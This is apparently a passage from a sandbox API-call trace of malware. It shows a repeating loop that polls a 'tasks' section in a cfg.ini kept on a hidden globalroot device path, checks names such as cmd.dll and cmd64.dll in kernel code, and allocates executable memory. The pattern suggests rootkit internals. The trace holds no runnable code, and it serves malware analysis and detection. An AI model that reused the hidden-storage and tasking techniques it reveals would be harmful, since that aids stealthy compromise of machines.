_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.899] KeEnterCriticalRegion () [0123.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.899] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.899] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.899] KeLeaveCriticalRegion () [0123.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.899] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.899] KeEnterCriticalRegion () [0123.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.899] ExFreePoolWithTag (P=0xfffffa8003beee10, Tag=0x0) [0123.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.899] KeLeaveCriticalRegion () [0123.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.899] ReleaseMutex (hMutex=0xf0) returned 1 [0123.899] Sleep (dwMilliseconds=0x927c0) [0123.917] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.917] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.917] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.917] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.917] KeEnterCriticalRegion () [0123.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.917] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.917] IdePortDispatch () returned 0x103 [0123.917] KeWaitForMutexObject () returned 0x0 [0123.917] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.917] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.917] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.917] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.917] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.917] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beaaf0 [0123.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.917] KeLeaveCriticalRegion () [0123.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.918] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.918] KeEnterCriticalRegion () [0123.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.918] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.918] KeLeaveCriticalRegion () [0123.918] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.918] KeEnterCriticalRegion () [0123.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.918] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.918] IdePortDispatch () returned 0x103 [0123.918] KeWaitForMutexObject () returned 0x0 [0123.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.918] KeLeaveCriticalRegion () [0123.918] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.918] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.918] KeEnterCriticalRegion () [0123.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.918] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b1000 [0123.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.919] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.919] IdePortDispatch () returned 0x103 [0123.919] KeWaitForMutexObject () returned 0x0 [0123.919] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.919] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.919] IdePortDispatch () returned 0x103 [0123.919] KeWaitForMutexObject () returned 0x0 [0123.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.919] KeLeaveCriticalRegion () [0123.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.920] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.920] KeEnterCriticalRegion () [0123.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.920] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.920] KeLeaveCriticalRegion () [0123.920] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.920] KeEnterCriticalRegion () [0123.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.920] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.920] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.920] KeLeaveCriticalRegion () [0123.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.920] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.920] KeEnterCriticalRegion () [0123.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.920] ExFreePoolWithTag (P=0xfffffa8003beaaf0, Tag=0x0) [0123.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.920] KeLeaveCriticalRegion () [0123.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.920] ReleaseMutex (hMutex=0xf0) returned 1 [0123.921] Sleep (dwMilliseconds=0x927c0) [0123.938] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.938] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.938] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.938] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.938] KeEnterCriticalRegion () [0123.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.938] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.938] IdePortDispatch () returned 0x103 [0123.938] KeWaitForMutexObject () returned 0x0 [0123.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.938] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.938] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.938] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.938] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.938] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee970 [0123.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.938] KeLeaveCriticalRegion () [0123.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.938] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.938] KeEnterCriticalRegion () [0123.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.938] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.938] KeLeaveCriticalRegion () [0123.939] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.939] KeEnterCriticalRegion () [0123.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.939] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.939] IdePortDispatch () returned 0x103 [0123.939] KeWaitForMutexObject () returned 0x0 [0123.939] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.939] KeLeaveCriticalRegion () [0123.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.939] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.939] KeEnterCriticalRegion () [0123.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.939] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b6000 [0123.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.939] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.939] IdePortDispatch () returned 0x103 [0123.939] KeWaitForMutexObject () returned 0x0 [0123.939] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.940] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.940] IdePortDispatch () returned 0x103 [0123.940] KeWaitForMutexObject () returned 0x0 [0123.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.940] KeLeaveCriticalRegion () [0123.940] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.940] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.940] KeEnterCriticalRegion () [0123.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.940] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.941] KeLeaveCriticalRegion () [0123.941] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.941] KeEnterCriticalRegion () [0123.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.941] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.941] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.941] KeLeaveCriticalRegion () [0123.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.941] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.941] KeEnterCriticalRegion () [0123.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.941] ExFreePoolWithTag (P=0xfffffa8003bee970, Tag=0x0) [0123.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.941] KeLeaveCriticalRegion () [0123.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.941] ReleaseMutex (hMutex=0xf0) returned 1 [0123.941] Sleep (dwMilliseconds=0x927c0) [0123.957] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.957] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.957] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.957] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.957] KeEnterCriticalRegion () [0123.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.957] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.957] IdePortDispatch () returned 0x103 [0123.958] KeWaitForMutexObject () returned 0x0 [0123.958] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.958] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.958] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.958] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.958] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.958] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed5a0 [0123.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.958] KeLeaveCriticalRegion () [0123.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.958] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.958] KeEnterCriticalRegion () [0123.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.958] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.958] KeLeaveCriticalRegion () [0123.958] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.958] KeEnterCriticalRegion () [0123.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.958] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.958] IdePortDispatch () returned 0x103 [0123.959] KeWaitForMutexObject () returned 0x0 [0123.959] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.959] KeLeaveCriticalRegion () [0123.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.959] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.959] KeEnterCriticalRegion () [0123.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.959] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bb000 [0123.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.959] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.959] IdePortDispatch () returned 0x103 [0123.959] KeWaitForMutexObject () returned 0x0 [0123.959] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.959] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.959] IdePortDispatch () returned 0x103 [0123.960] KeWaitForMutexObject () returned 0x0 [0123.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.960] KeLeaveCriticalRegion () [0123.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.960] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.960] KeEnterCriticalRegion () [0123.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.960] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.960] KeLeaveCriticalRegion () [0123.960] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.960] KeEnterCriticalRegion () [0123.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.960] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.960] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.961] KeLeaveCriticalRegion () [0123.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.961] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.961] KeEnterCriticalRegion () [0123.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.961] ExFreePoolWithTag (P=0xfffffa8003bed5a0, Tag=0x0) [0123.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.961] KeLeaveCriticalRegion () [0123.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.961] ReleaseMutex (hMutex=0xf0) returned 1 [0123.961] Sleep (dwMilliseconds=0x927c0) [0123.975] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.975] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.978] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.978] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.978] KeEnterCriticalRegion () [0123.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 